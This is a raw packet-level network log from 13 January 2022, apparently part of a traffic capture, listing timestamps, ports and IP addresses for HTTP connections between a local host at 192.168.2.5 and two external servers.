Jan 13, 2022 20:51:33.793977022 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.795226097 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.795305014 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.795334101 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.795366049 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.795425892 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.795433044 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.795489073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.795542002 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.795546055 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.795604944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.795656919 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.795665026 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.795783043 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.795844078 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.795844078 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.795903921 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.795964003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.796005011 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.796212912 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.796276093 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.796278954 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.796338081 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.796401024 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.796402931 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.802742958 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.802782059 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.802805901 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.802828074 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.802849054 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.802897930 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.802906036 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.802917957 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.802934885 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.802947044 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.802973986 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.802983046 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803002119 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803025961 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803029060 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803056002 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803080082 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803081036 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803107977 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803126097 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803133011 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803159952 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803178072 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803184986 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803215027 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803244114 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803247929 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803271055 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803282976 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803297997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803324938 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803345919 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803366899 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803400040 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803426981 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803430080 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803452015 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803472996 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803477049 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803504944 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803508997 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803529024 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803553104 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803560019 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803575993 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803600073 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803600073 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803627014 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803637981 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803653002 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803678036 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803699970 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803708076 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803723097 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803738117 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803750992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803777933 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803792953 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803802967 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803828001 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803853035 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803864956 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803880930 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803905964 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803929090 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803929090 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803952932 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.803956985 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.803978920 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804002047 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804025888 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804028034 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804048061 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804059982 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804071903 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804096937 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804095030 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804121971 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804143906 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804148912 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804169893 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804193974 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804194927 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804222107 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804240942 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804249048 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804265022 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804282904 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804289103 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804313898 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804336071 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804346085 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804362059 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804379940 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804382086 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804402113 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804428101 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804433107 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804457903 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804481030 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804502964 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804506063 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804519892 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804534912 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804558992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804582119 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804594994 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804609060 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804636002 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804636955 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804662943 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804687023 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804693937 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804713011 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804739952 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804748058 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804765940 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804790974 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804800034 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804816961 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804841042 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804843903 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804868937 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804898024 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.804943085 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804969072 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.804999113 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.808945894 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844293118 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844326973 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844351053 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844373941 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844405890 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844424963 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844446898 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844458103 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844461918 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844479084 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844496965 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844515085 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844532013 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844537973 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844548941 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844561100 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844566107 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844568968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844588995 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844604969 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844609976 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844623089 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844639063 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844640017 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844659090 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844675064 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844679117 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844691992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844707966 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844711065 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844724894 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844739914 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844754934 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844765902 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844772100 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844772100 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844789982 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844798088 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844808102 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844825029 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844851971 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844860077 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844866991 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844866991 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844873905 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844882011 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844901085 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844917059 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844927073 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844933987 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844950914 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844968081 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.844971895 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844978094 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.844985008 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845000982 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845000982 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.845019102 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845036030 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845050097 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.845051050 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845067024 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845082998 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845083952 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.845099926 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845115900 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845115900 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.845132113 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845149994 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845160961 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.845165968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845166922 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.845186949 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845204115 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845205069 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.845221996 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845237970 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.845247030 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.845272064 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.855324030 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.855427027 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.855443001 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.855459929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.855475903 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.855492115 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.855513096 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.855530024 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.855933905 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.856008053 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.856064081 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.856117010 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.856136084 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.856168032 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.856173038 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.856178045 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.856182098 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.856388092 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.856455088 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.856519938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.856527090 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.856580973 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.856633902 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.856837988 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.856901884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.856950998 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.856959105 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.857003927 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.857054949 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.857254028 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.857311010 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.857359886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.857391119 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.857417107 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.857472897 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.857534885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.857572079 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.857604027 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.857625008 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.857640028 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.857672930 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.857685089 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.857707024 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.857754946 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.857774973 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.857784986 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.857827902 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.878632069 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878663063 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878678083 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878695011 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878710985 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878726959 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878745079 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878748894 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.878760099 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878778934 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878794909 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878804922 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.878810883 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878828049 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878833055 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.878844976 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878858089 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.878864050 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878880978 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878895998 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878896952 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.878911972 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878925085 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.878926992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878943920 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878947973 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.878961086 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878977060 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.878992081 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.878993034 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879009962 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879019022 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879026890 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879044056 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879050970 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879060984 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879076004 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879091024 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879102945 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879106045 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879123926 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879138947 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879138947 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879154921 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879163980 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879169941 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879184008 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879187107 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879203081 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879215002 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879218102 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879234076 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879249096 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879264116 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879266024 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879273891 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879283905 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879301071 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879316092 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879326105 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879332066 CET	80	49847	141.8.194.74	192.168.2.5
